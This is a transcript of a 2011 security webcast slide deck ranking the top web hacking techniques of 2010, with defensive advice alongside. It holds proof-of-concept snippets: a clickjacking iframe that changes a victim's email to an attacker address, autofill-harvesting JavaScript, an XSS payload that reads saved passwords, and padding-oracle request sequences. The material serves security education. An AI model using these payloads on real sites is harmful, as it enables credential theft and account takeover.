SlideShare une entreprise Scribd logo
1  sur  60
Télécharger pour lire hors ligne
top ten
Web Hacking
techniques   2010
                         Jeremiah Grossman
             Founder & Chief Technology Officer

                                          Webcast
                                        03.17.2011

                              © 2011 WhiteHat Security, Inc.
Jeremiah Grossman
• WhiteHat Security Founder & CTO
• Technology R&D and industry evangelist
• InfoWorld's CTO Top 25 for 2007
• Co-founder of the Web Application Security Consortium
• Co-author: Cross-Site Scripting Attacks
• Former Yahoo! information security officer




                                                   © 2010 WhiteHat Security, Inc. | Page   2
400+ enterprise customers
 •Start-ups to Fortune 500
Flagship offering “WhiteHat Sentinel Service”
 •1000’s of assessments performed annually
Recognized leader in website security
 •Quoted thousands of times by the mainstream press




                                                      4
About the Top Ten
“Every year the Web security community produces a stunning
amount of new hacking techniques published in various white
papers, blog posts, magazine articles, mailing list emails, etc. Within
the thousands of pages are the latest ways to attack websites, Web
browsers, Web proxies, and so on. Beyond individual vulnerability
instances with CVE numbers or system compromises, we're talking
about brand new and creative methods of Web-based attack.”




                                                                          5
New Techniques
                     2009 (80)
       Creating a rogue CA certificate

                      2008 (70)
                GIFAR (GIF + JAR)

                       2007 (83)
 XSS Vulnerabilities in Common Shockwave Flash Files

                       2006 (65)
       Web Browser Intranet Hacking / Port Scanning

                                                       6
2010
      69 new techniques
1) 'Padding Oracle' Crypto Attack
2) Evercookie
3) Hacking Auto-Complete
4) Attacking HTTPS with Cache Injection
5) Bypassing CSRF protections with ClickJacking and HTTP Parameter Pollution
6) Universal XSS in IE8
7) HTTP POST DoS
8) JavaSnoop
9) CSS History Hack In Firefox Without JavaScript for Intranet Portscanning
10) Java Applet DNS Rebinding
                             http://jeremiahgrossman.blogspot.com/2011/01/top-ten-web-hacking-techniques-of-2010.html




                                                                                                                    7
Bypassing CSRF with Clickjacking
and HTTP Parameter Pollution


                                                                              5
Clickjacking is when an attacker invisibly hovers an object
(button, link, etc.) below a user's mouse. When the user
clicks on something they visually see, they're instead
really clicking on something the attacker wanted them to.
HTTP Parameter Pollution is where an attacker submits
multiple input parameters (query string, post data,
cookies, etc.) with the same name. Upon receipt
applications may react in unexpected ways and open up
avenues of server-side and client-side exploitation. By
cleverly leveraging these two former Top Ten attacks,
CSRF attacks can be carried out against a user even
when recommended token defenses are in use.
       Lavakumar Kuppan (@lavakumark)
       http://blog.andlabs.org/2010/03/bypassing-csrf-protections-with.html




                                                                                  8
Clickjacking (Top Ten 2009)
Think of any button – image, link, form, etc. – on any website – that can appear
between the Web browser walls. This includes wire transfer on banks, DSL router
buttons, Digg buttons, CPC advertising banners, Netflix queue.

Next consider that an attacker can invisibly hover these buttons below the user's
mouse, so that when a user clicks on something they visually see, they're actually
clicking on something the attacker wants them to.

What could the bad guy do with that ability?




                                                                                     9
Hover Invisible IFRAMEs
                                       HTML, CSS, and JavaScript
                                       may size, follow the mouse
                                       and make transparent third-
                                       party IFRAME content.




<iframe
 src="http://victim/page.html"
 scrolling="no"
 frameborder="0"
 style="opacity:.1;filter: alpha(opacity=.1); -moz-opacity 1.0;">!
</iframe>


                                                                10
HTTP Parameter Pollution (HPP) - Top Ten 2009
If an attacker submit multiple input parameters (query string, post data, cookies,
etc.) of the same name, the application may react in unexpected ways and open
up new avenues of server-side and client-side exploitation.
           GET /foo?par1=val1&par1=val2 HTTP/1.1
           User-Agent: Mozilla/5.0
           Host: Host
           Accept: */*

           POST /foo HTTP/1.1
           User-Agent: Mozilla/5.0
           Host: Host
           Accept: */*

           par1=val1&par1=val2

           POST /index.aspx?par1=val1&par1=val2 HTTP/1.1
           User-Agent: Mozilla/5.0
           Host: Host
           Cookie: par1=val3; par1=val4
           Content-Length: 19

           par1=val5&par1=val6
                                                                                     11
Bizarre behavior




                   12
13
14
15
Simple parameter injection
 void private executeBackendRequest(HTTPRequest request) {
   String amount=request.getParameter("amount");
   String beneficiary=request.getParameter("recipient");

     HttpRequest("http://backend.com/servlet/actions","POST",
         "action=transfer&amount="+amount+"&recipient="+beneficiary);
 }

 Malicious URL:
 http://target.com/page?amount=1000&recipient=Jeremiah%26action%3dwithdraw

 Translates to:
 action=transfer&amount=1000&recipient=Jeremiah&action=withdraw

It is possible the attack could work if proper authorization controls are not in place and
the application uses the last occurrence of the action parameter (IBM Lotus Domino,
PHP / Apache, etc.)




                                                                                             16
Example Scenario
http://example/updateEmail.jsp
Client-Side
<form method="POST">
<input type="text" name="email" value=””></input>
<input type="hidden" name=”csrf-token” value="a0a0a0a0a0a"/>
</form>

Server-Side
if (req.parameter("email").isSet() && req.parameter("csrf-token").isValid()) {
   // process the form and update the email ID
} else {
   // display an empty form to the user (CSRF token included)
}




                                                                                 17
Bringing it all together
 <iframe src=”http://example/updateEmail.jsp?email=evil@attacker.com”>

 HTTP request via user submitted form via Clickjacking. The form was not filled out by
 the victim, meaning the email parameter in the POST body is blank. Now the
 QueryString contains the attacker entered value for the ‘email’ parameter.

 POST /updateEmail.jsp?email=evil@attackermail.com
 HTTP/1.1
 Host: www.example.com

 email=&csrf-token=a0a0a0a0a0
 When the server side JSP code calls req.parameter("email"), the value that is returned
 is the one in the QueryString (HPP first occurrence) and not the POST body. Since
 this value can be controlled by the attacker, he can trick the victim in to updating his
 account with the attacker’s mail ID.



                                                                                            18
Attacking HTTPS with Cache Injection


                                                             4
No matter what type of encryption is used to defend a
network, sooner or later the password, key, or certificate
needs to be stored. If an attacker is able to tamper with
the storage mechanism, even the strongest encryption
mechanism can fail. The researchers demonstrated how
to attack storage mechanisms by tampering with SSL
session and break into Wifi networks using WPA. They
also showed how to exploit SSL warning inconsistencies
and caching mechanisms to trick the user into accepting a
bad certs and steal their username & password.

Elie Bursztein (@ELIE), Baptiste Gourdin
(@bapt1ste), Dan Boneh
http://www.youtube.com/watch?v=bt0Qh9c59_c
http://elie.im/talks/bad-memories




                                                                 19
RFC1918 Caching Security - (Top Ten 2009)
Public Wifi
                            HTTP
                                                                                Internet

                               Airpwn
       Victims



 coffee shops, airplanes,
 corp guest networks      Bad Guy

     • Victim(s) located on a RFC 1918 network with a Bad Guy
     • Bad Guy may take the opportunity to read victim’s Web mail, steal creds, etc.
     • Bad Guy man-in-the-middles HTTP (Airpwn) to inject IFRAMEs to RFC-1918 IPs
     • MitM IFRAMEs to include JavaScript malware (BeEF). Or ...
     • Inject JavaScript malware into popular Web widget URLs. (Ad servers, counters, etc.)
     • Cache content in the browser for a really long time, beyond current session!
                                                         http://www.bindshell.net/tools/beef/
                                                         http://airpwn.sourceforge.net/Airpwn.html
Situation
• 43% of the Alexa top 100,000 use external javascript libraries
• Injecting a malicious javascript library into the browser cache
 allows the attacker to compromise a website protected by SSL

• The malicious library stays in the cache until the user clears it.
 Moving to a “safe” location doesn’t help




                                                                       21
Impact
• One poisoned injection leads to multiple breaches
• Multiples websites share the same external library such as
 Google Analytics

• Injecting a malicious version of one of these shared libraries
 allows the attacker to target all the websites that use it




                                                                   22
Browser Defense -- sort of
• The only defense against cache injection is the SSL warning
 displayed by the browser when a bad certificate is supplied

• Corner cases that allows an attacker to alter the way SSL
 certificate warning are displayed

• These alterations make caching attack efficient as the user is
 more likely to click through the tampered warning




                                                                   23
Video Demo
• The following demos show how caching injection attacks
 works against Internet Explorer 8 and Firefox 3.6

• These demos were done in real time against real sites with
 their real certificates




                                                               24
Hacking Auto-Complete


                                                                                            3
This research encompasses a set of techniques where a
malicious website may surreptitiously obtain their visitors
names, job title, workplace, physical address, telephone
number, email addresses, usernames, passwords, search
terms, social security numbers, credit card numbers, and
on and on by simulating JavaScript keystroke events in
Web browsers HTML form auto-complete / autofill
functionality.



Jeremiah Grossman (@jeremiahg)
http://jeremiahgrossman.blogspot.com/2010/08/breaking-browsers-hacking-auto-complete.html
http://jeremiahgrossman.blogspot.com/2010/07/i-know-who-your-name-where-you-work-and.html
http://jeremiahgrossman.blogspot.com/2010/09/safari-autofill-hack-lives.html
http://jeremiahgrossman.blogspot.com/2010/07/in-firefox-we-cant-read-auto-complete.html




                                                                                                25
I want to know your name, who
you work for, where you live, your
email address, etc.
Right at the moment you a visit a website. Even if you’ve never
been there before, let alone entered information.




                                                                  26
Safari Address Book Autofill (enabled by default)




           <form>
           <input type="text"   name="name">
           <input type="text"   name="company">
           <input type="text"   name="city">
           <input type="text"   name="state">
           <input type="text"   name="country">
           <input type="text"   name="email">
           </form>

                                                    27
Address Card Autofill works even when
you’ve NEVER entered personal data on
ANY WEBSITE.




                                        28
Demo
var event = document.createEvent('TextEvent');
event.initTextEvent('textInput', 1, 1, null, char);

input.value = "";               Step 1) Dynamically create
input.selectionStart = 0;       input fields with the pre-set
input.selectionEnd = 0;         attribute names.
input.focus();
input.dispatchEvent(event);!    Step 2) Cycle through the
!                               alphabet initiating text events
setTimeout(function() {         until a form value populates.
  if (input.value.length > 1) {
   // capture the value;        Step 3) Profit! -- Steal data
  }                             with JavaScript.
}, 500);                        *transparency is even more fun!*

                                                Safari
                                                v4 / v5
                                                                   29
Internet Explorer 8 = SAFE
                             30
AutoComplete: User-supplied form values are shared across
different websites by attribute “name”. For example, email
addresses entered into a field on website A populates the autofill for
the same field name on website B, C, D, etc.
                                 <input type="text" name="email">




                                                                     31
DEMO - Down, Down, Enter
// hit down arrow an incrementing number of times.
// separate with time to allow the GUI to keep pace
for (var i = 1; i <= downs; i++) {
   time += 30; // time padding
   keyStroke(this, 40, time); // down button
}
!       !
time += 15; // time padding
keyStroke(this, 13, time); // enter button

// initiate keystroke on a given object
function keyStroke(obj, code, t) {
  //create new event and fire
  var e = document.createEventObject();
  e.keyCode = code;
  setTimeout(function() {obj.fireEvent("onkeydown", e); }, t);
} // end keyStroke

                        Security Basis, and an Internet Explorer data stealer
                        http://webreflection.blogspot.com/2008/09/security-basis-and-internet-explorer.html
                        Andrea Giammarchi, Ajaxian Staff

                                                                                                         32
Search terms
Credit card numbers and CCVs
Aliases
Contact information
Answers to secret questions
Usernames
Email addresses
...



                               33
AutoComplete is NOT enabled by default, but Internet
Explorer asks if the user if they would like to enable
the feature after filling out a non-password form.




                                                         34
Have the email address, but need the password




                                                35
Saving Passwords
 Many Web Browsers have “password managers,” which provide
 a convenient way to save passwords on a “per website” basis.
 <form method="post" action="/">
 E-Mail: <input type="text" name="email"><br />
 Password: <input type="password" name="pass"><br />
 <input type="submit" value="Login">
 </form>




                                                                36
If a website with a saved password is vulnerable to XSS, the
payload can dynamically create login forms, which executes the
browser’s password auto-complete feature. Since the payload is
on the same domain the username / password can be stolen.
function stealCreds() {
 var string = "E-Mail: " + document.getElementById("u").value;
 string += "nPassword: " + document.getElementById("p").value;
 return string;
}
document.write('<form method="post" action="/">E-Mail: <input
id="u" type="text" name="email" value=""><br>Password: <input
id="p" type="password" name="password" value=""></form>');

setTimeout('alert(stealCreds())', 2000);


               * *                 DEMO
                                                                 37
What to do...
Disable Auto-Complete in the Web browser

Remove persistent data
(History, Form Data, Cookies, LocalStorage, etc.)

NoScript (Firefox Extension), 1Password, etc.

<form autocomplete="off">
<input type="text" autocomplete="off" />




                                                    38
Evercookie


                                                                  2
Evercookie is a javascript API available that produces
extremely persistent cookies in a browser. Its goal is to
identify a client even after they've removed standard
cookies, Flash cookies (Local Shared Objects or LSOs),
and others. Evercookie accomplishes this by storing the
cookie data in several types of storage mechanisms that
are available on the local browser. Additionally, if evercookie
has found the user has removed any of the types of cookies
in question, it recreates them using each mechanism
available.


Samy Kamkar (@samykamkar)
http://samy.pl/evercookie/




                                                                      39
40
Evercookies
1) Standard HTTP Cookies               6) Internet Explorer userData storage

2) Flash Cookies (LSOs)                7) Storing cookies in Web cache

3) Silverlight Isolated Storage        8) Storing cookies in HTTP ETags

4) Storing cookies in RGB values of auto- 9) HTML5 Session Storage
 generated, force-cached PNGs using
 HTML5 Canvas tag to read pixels          10) HTML5 Local Storage
 (cookies) back out
                                          11) HTML5 Global Storage
5) Storing cookies in Web History
                                          12) HTML5 Database Storage via SQLite
6)window.name caching




                                                                               41
The API
• Persistent cookies via Javascript API
• Recreates after deletion
• Combines different storage mechanisms
• Easy to use!

var ec = new evercookie();

ec.set(“uniqueid”, “31337”); // set uniqueid = 31337

// get our evercookie data back
ec.get(“uniqueid”, function(val) { alert (“ID is “ + val) } );




                                                                 42
PNGs Cache
Cookie stored in RGB values of auto-generated, force-cached PNGs
using HTML5 Canvas Tag to read pixels back out


Pixel 0x0 = 0x4f5741 OWA
Pixel 0x1 = 0x535000 SP0




                                                                   43
Killing Evercookies (Video)
    1) Open a new tab, then close all other windows and tabs.
    2) Delete Silverlight Isolated Storage
    • Go to http://www.silverlight.net/
    • Right click the Silverlight application (any app will do)
    • Silverlight Preferences > Application Storage > Delete all...
    • Click "Yes"
    • * Optionally disable "Enable application storage"
    3) Delete Flash Local Shared Objects (LSO)
    • Go got the Flash "Website Storage Settings panel"
    • Click "Delete all sites"
    • Click "Confirm"
    4) Clear Browsing Data
    • - Wrench > Tools > Clear Browsing Data...
    • - Select all options
    • - Clear data from this period: Everything
    • - Click "Clear Browsing data"
                     http://singe.za.net/blog/archives/1014-Killing-the-Evercookie.html
                     http://jeremiahgrossman.blogspot.com/2010/10/killing-evercookie-google-chrome-wo.html


                                                                                                             44
Other Protections
• Nevercookie - The evercookie killer
Firefox plugin to extend Firefox’s Private Browsing
http://nevercookie.anonymizer.com/


• Use a virtual machine. (On your neighbor’s WiFi Network)




                                                             45
Other Worries...
• System/browser timing
• GPU timing via plugins/accelerators (w/Flash)
• MAC address accessible via Java or ActiveX!




                                                  46
'Padding Oracle' Crypto Attack


                                                                                                     1
In 2002 a powerful side-channel attack, ‘padding
oracle’ (NOT THE DATABASE!), was described targeting
AES CBC-mode encryption with PKCS#5 padding. If
there is an oracle which on receipt of a ciphertext,
decrypts it and replies whether the padding is correct,
shows how to use that oracle to decrypt data without
knowing the encryption key. The new techniques allow
attackers to use a ‘padding oracle’ to decrypt and encrypt
messages of any length without knowing the secret key
and exploit popular web development frameworks
including ASP.NET.
Juliano Rizzo (@julianor)
Thai Duong (@thaidn)
http://usenix.org/events/woot10/tech/full_papers/Rizzo.pdf
http://netifera.com/research/
http://www.gdssecurity.com/l/b/2010/09/14/automated-padding-oracle-attacks-with-padbuster/
http://www.youtube.com/watch?v=yghiC_U2RaM
http://threatpost.com/en_us/blogs/padding-oracle-crypto-attack-affects-millions-aspnet-apps-091310




                                                                                                         47
Brian Holyfield
http://www.gdssecurity.com/l/b/2010/09/14/automated-padding-oracle-attacks-with-padbuster/




                                                                                        48
Padding Oracle Attack Basics
An application uses a query string parameter to pass an encrypted username,
company id, and role id of a user. The parameter is encrypted using CBC mode,
and each value uses a unique initialization vector (IV) pre-pended to the ciphertext.
When the application is sent an encrypted value, it responds in one of three ways:

1)Valid ciphertext, properly padded and valid data (200 OK)
2)Invalid ciphertext, improper padding (500 Internal Server Error)
3)Valid ciphertext, properly padded and invalid data (200 OK - custom error)


User’s name (BRIAN), company id (12), and role id (2). The value, in plaintext, can
be represented as BRIAN;12;2;

http://site/app.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6




                                                                                    49
50
Encryption




Decryption




             51
First block of ciphertext pre-pended with an IV of all NULL values.

Request: http://site/app.jsp?UID=0000000000000000F851D6CC68FC9537
Response: 500 - Internal Server Error




                                                                      52
Last byte of the initialization vector incremented by one.

Request: http://app/home.jsp?UID=0000000000000001F851D6CC68FC9537
Response: 500 - Internal Server Error




                                                                    53
Incrementing the last byte in the IV up to FF will produce a valid padding sequence for a
single byte of padding (0×01). Only one value will produce the correct padding byte and
have different response than the other 255.

Request: http://site/app?UID=000000000000003CF851D6CC68FC9537
Response: 200 OK




                             If [Intermediary Byte] ^ 0x3C == 0×01,
                             then [Intermediary Byte] == 0x3C ^ 0×01,
                             so [Intermediary Byte] == 0x3D

                                                                                        54
To crack the 7th byte, the 7th and 8th byte must equal 0×02 for valid padding. Since we
already know that the last intermediary value byte is 0x3D, we can update the 8th IV byte
to 0x3F (which will produce 0×02) and then focus on brute forcing the 7th byte (starting
with 0×00 and working our way up through 0xFF).




                                                                                       55
Work backwards through the entire block until every byte of the intermediary value is
cracked and uncovering the decrypted value one byte at a time. The final byte is cracked
using an IV that produces an entire block of just padding (0×08).




                  "The first stage of the attack takes a few thousand requests, but
                 once it succeeds and the attacker gets the secret keys, it's totally
                    stealthy.The cryptographic knowledge required is very basic."
                                                                     - Julian Rizzo
                                                                                        56
<VIDEO>
"It turns out that the vulnerability in ASP.NET is the most critical amongst
          other frameworks. In short, it totally destroys ASP.NET security,"
                                                                -Thai Duong



                                                                               57
Impact & Prevention
Vulnerable Frameworks
ASP.Net, CAPTCHAs, JavaServer Faces, OWASP ESAPI,
Ruby On Rails, etc.


Prevention
•Encrypt-then-MAC (sign) and validate-then-decrypt
•Patch!




                                                     58
What have we learned?
• Encryption attacks took the top spot for the 2nd year in a row.
• Web Browser privacy? Web browser security? Not so much.
• “Top Ten” attacks from previous years are being improved.
• Several attack techniques from previous years are now
 actively being used maliciously in the wild.




                                                                    59
Thank You...
• Sponsors: OWASP, Black Hat, WhiteHat
  Security
• Panel of Experts: Ed Skoudis, Giorgio
  Maone, Caleb Sima, Chris Wysopal, Jeff
  Willams, Charlie Miller, Dan Kaminsky,
  Steven Christey (Mitre), and Arian Evans
• All the security researchers for their
  contributions
• Everyone in the Web Application Security
  community who assisted



                                  Blog: http://jeremiahgrossman.blogspot.com/
                                  Twitter: http://twitter.com/jeremiahg
                                  Email: jeremiah@whitehatsec.com
                                                                                60

Contenu connexe

Tendances

[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés RianchoCODE BLUE
 
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome ExtensionsI'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome ExtensionsKrzysztof Kotowicz
 
MITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveMITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveGreenD0g
 
When you don't have 0days: client-side exploitation for the masses
When you don't have 0days: client-side exploitation for the massesWhen you don't have 0days: client-side exploitation for the masses
When you don't have 0days: client-side exploitation for the massesMichele Orru
 
Html5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPraHtml5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPraKrzysztof Kotowicz
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front endErlend Oftedal
 
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...CODE BLUE
 
HTTP Security Headers Every Java Developer Must Know
HTTP Security Headers Every Java Developer Must KnowHTTP Security Headers Every Java Developer Must Know
HTTP Security Headers Every Java Developer Must KnowAyoma Wijethunga
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threatAvădănei Andrei
 
Protecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersProtecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersFrank Kim
 
Browser Internals-Same Origin Policy
Browser Internals-Same Origin PolicyBrowser Internals-Same Origin Policy
Browser Internals-Same Origin PolicyKrishna T
 
WebView security on iOS (EN)
WebView security on iOS (EN)WebView security on iOS (EN)
WebView security on iOS (EN)lpilorz
 
Buried by time, dust and BeEF
Buried by time, dust and BeEFBuried by time, dust and BeEF
Buried by time, dust and BeEFMichele Orru
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application DefenseFrank Kim
 
DNS Rebinding Attack
DNS Rebinding AttackDNS Rebinding Attack
DNS Rebinding AttackFelipe Japm
 
Abusing & Securing XPC in macOS apps
Abusing & Securing XPC in macOS appsAbusing & Securing XPC in macOS apps
Abusing & Securing XPC in macOS appsSecuRing
 
Secure web messaging in HTML5
Secure web messaging in HTML5Secure web messaging in HTML5
Secure web messaging in HTML5Krishna T
 
JSFoo Chennai 2012
JSFoo Chennai 2012JSFoo Chennai 2012
JSFoo Chennai 2012Krishna T
 
WhiteHat Security "Website Security Statistics Report" (Q1'09)
WhiteHat Security "Website Security Statistics Report" (Q1'09)WhiteHat Security "Website Security Statistics Report" (Q1'09)
WhiteHat Security "Website Security Statistics Report" (Q1'09)Jeremiah Grossman
 
Web-servers & Application Hacking
Web-servers & Application HackingWeb-servers & Application Hacking
Web-servers & Application HackingRaghav Bisht
 

Tendances (20)

[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
 
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome ExtensionsI'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
 
MITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveMITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another Perspective
 
When you don't have 0days: client-side exploitation for the masses
When you don't have 0days: client-side exploitation for the massesWhen you don't have 0days: client-side exploitation for the masses
When you don't have 0days: client-side exploitation for the masses
 
Html5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPraHtml5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPra
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front end
 
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
 
HTTP Security Headers Every Java Developer Must Know
HTTP Security Headers Every Java Developer Must KnowHTTP Security Headers Every Java Developer Must Know
HTTP Security Headers Every Java Developer Must Know
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
Protecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersProtecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP Headers
 
Browser Internals-Same Origin Policy
Browser Internals-Same Origin PolicyBrowser Internals-Same Origin Policy
Browser Internals-Same Origin Policy
 
WebView security on iOS (EN)
WebView security on iOS (EN)WebView security on iOS (EN)
WebView security on iOS (EN)
 
Buried by time, dust and BeEF
Buried by time, dust and BeEFBuried by time, dust and BeEF
Buried by time, dust and BeEF
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application Defense
 
DNS Rebinding Attack
DNS Rebinding AttackDNS Rebinding Attack
DNS Rebinding Attack
 
Abusing & Securing XPC in macOS apps
Abusing & Securing XPC in macOS appsAbusing & Securing XPC in macOS apps
Abusing & Securing XPC in macOS apps
 
Secure web messaging in HTML5
Secure web messaging in HTML5Secure web messaging in HTML5
Secure web messaging in HTML5
 
JSFoo Chennai 2012
JSFoo Chennai 2012JSFoo Chennai 2012
JSFoo Chennai 2012
 
WhiteHat Security "Website Security Statistics Report" (Q1'09)
WhiteHat Security "Website Security Statistics Report" (Q1'09)WhiteHat Security "Website Security Statistics Report" (Q1'09)
WhiteHat Security "Website Security Statistics Report" (Q1'09)
 
Web-servers & Application Hacking
Web-servers & Application HackingWeb-servers & Application Hacking
Web-servers & Application Hacking
 

En vedette

HTML5 Web Messaging
HTML5 Web MessagingHTML5 Web Messaging
HTML5 Web MessagingMike Taylor
 
Security Risk Management: ovvero come mitigare e gestire i rischi dei dati at...
Security Risk Management: ovvero come mitigare e gestire i rischi dei dati at...Security Risk Management: ovvero come mitigare e gestire i rischi dei dati at...
Security Risk Management: ovvero come mitigare e gestire i rischi dei dati at...festival ICT 2016
 
Grow Hack Athens Pt.1: Growth Hacking For Web Apps
Grow Hack Athens Pt.1: Growth Hacking For Web AppsGrow Hack Athens Pt.1: Growth Hacking For Web Apps
Grow Hack Athens Pt.1: Growth Hacking For Web AppsGrowthRocks
 
Hacking the Web
Hacking the WebHacking the Web
Hacking the WebMike Crabb
 
Automated Detection of HPP Vulnerabilities in Web Applications Version 0.3, B...
Automated Detection of HPP Vulnerabilities in Web Applications Version 0.3, B...Automated Detection of HPP Vulnerabilities in Web Applications Version 0.3, B...
Automated Detection of HPP Vulnerabilities in Web Applications Version 0.3, B...Marco Balduzzi
 
Oral Presentation
Oral PresentationOral Presentation
Oral PresentationVideoguy
 
Hacking The World With Flash
Hacking The World With FlashHacking The World With Flash
Hacking The World With Flashjoepangus
 
Mensajes de control y Error del conjunto TCP/IP - ICMP
Mensajes de control y Error del conjunto TCP/IP - ICMPMensajes de control y Error del conjunto TCP/IP - ICMP
Mensajes de control y Error del conjunto TCP/IP - ICMPMarco Antonio Arenas Porcel
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applicationsDevnology
 
ESR II - Modulo 1 - Codigo Malicioso
ESR II - Modulo 1 - Codigo MaliciosoESR II - Modulo 1 - Codigo Malicioso
ESR II - Modulo 1 - Codigo Maliciosofoalonso
 
HOW TO HACK FACEBOOK USING LAPTOP
HOW TO HACK FACEBOOK USING LAPTOPHOW TO HACK FACEBOOK USING LAPTOP
HOW TO HACK FACEBOOK USING LAPTOPJune_Johnson
 
Seguridad informática introduccion
Seguridad informática introduccionSeguridad informática introduccion
Seguridad informática introduccionCarolina Cols
 
Open Source Information Gathering Brucon Edition
Open Source Information Gathering Brucon EditionOpen Source Information Gathering Brucon Edition
Open Source Information Gathering Brucon EditionChris Gates
 
HOW TO HACK WHATSAPP USING LAPTOP
HOW TO HACK WHATSAPP USING LAPTOPHOW TO HACK WHATSAPP USING LAPTOP
HOW TO HACK WHATSAPP USING LAPTOPAlice_lovely
 
Devfest istanbul'14 - Web Application Attacks and Trusting Frameworks
Devfest istanbul'14  - Web Application Attacks and Trusting FrameworksDevfest istanbul'14  - Web Application Attacks and Trusting Frameworks
Devfest istanbul'14 - Web Application Attacks and Trusting FrameworksMehmet Ince
 

En vedette (18)

HTML5 Web Messaging
HTML5 Web MessagingHTML5 Web Messaging
HTML5 Web Messaging
 
Security Risk Management: ovvero come mitigare e gestire i rischi dei dati at...
Security Risk Management: ovvero come mitigare e gestire i rischi dei dati at...Security Risk Management: ovvero come mitigare e gestire i rischi dei dati at...
Security Risk Management: ovvero come mitigare e gestire i rischi dei dati at...
 
Grow Hack Athens Pt.1: Growth Hacking For Web Apps
Grow Hack Athens Pt.1: Growth Hacking For Web AppsGrow Hack Athens Pt.1: Growth Hacking For Web Apps
Grow Hack Athens Pt.1: Growth Hacking For Web Apps
 
Hacking the Web
Hacking the WebHacking the Web
Hacking the Web
 
Automated Detection of HPP Vulnerabilities in Web Applications Version 0.3, B...
Automated Detection of HPP Vulnerabilities in Web Applications Version 0.3, B...Automated Detection of HPP Vulnerabilities in Web Applications Version 0.3, B...
Automated Detection of HPP Vulnerabilities in Web Applications Version 0.3, B...
 
Flash Security
Flash SecurityFlash Security
Flash Security
 
Oral Presentation
Oral PresentationOral Presentation
Oral Presentation
 
Hacking The World With Flash
Hacking The World With FlashHacking The World With Flash
Hacking The World With Flash
 
Mensajes de control y Error del conjunto TCP/IP - ICMP
Mensajes de control y Error del conjunto TCP/IP - ICMPMensajes de control y Error del conjunto TCP/IP - ICMP
Mensajes de control y Error del conjunto TCP/IP - ICMP
 
Ruxmon.2015-08.-.proxenet
Ruxmon.2015-08.-.proxenetRuxmon.2015-08.-.proxenet
Ruxmon.2015-08.-.proxenet
 
Virus informaticos
Virus informaticosVirus informaticos
Virus informaticos
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
ESR II - Modulo 1 - Codigo Malicioso
ESR II - Modulo 1 - Codigo MaliciosoESR II - Modulo 1 - Codigo Malicioso
ESR II - Modulo 1 - Codigo Malicioso
 
HOW TO HACK FACEBOOK USING LAPTOP
HOW TO HACK FACEBOOK USING LAPTOPHOW TO HACK FACEBOOK USING LAPTOP
HOW TO HACK FACEBOOK USING LAPTOP
 
Seguridad informática introduccion
Seguridad informática introduccionSeguridad informática introduccion
Seguridad informática introduccion
 
Open Source Information Gathering Brucon Edition
Open Source Information Gathering Brucon EditionOpen Source Information Gathering Brucon Edition
Open Source Information Gathering Brucon Edition
 
HOW TO HACK WHATSAPP USING LAPTOP
HOW TO HACK WHATSAPP USING LAPTOPHOW TO HACK WHATSAPP USING LAPTOP
HOW TO HACK WHATSAPP USING LAPTOP
 
Devfest istanbul'14 - Web Application Attacks and Trusting Frameworks
Devfest istanbul'14  - Web Application Attacks and Trusting FrameworksDevfest istanbul'14  - Web Application Attacks and Trusting Frameworks
Devfest istanbul'14 - Web Application Attacks and Trusting Frameworks
 

Similaire à Top Ten Web Hacking Techniques (2010)

Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Jeremiah Grossman
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
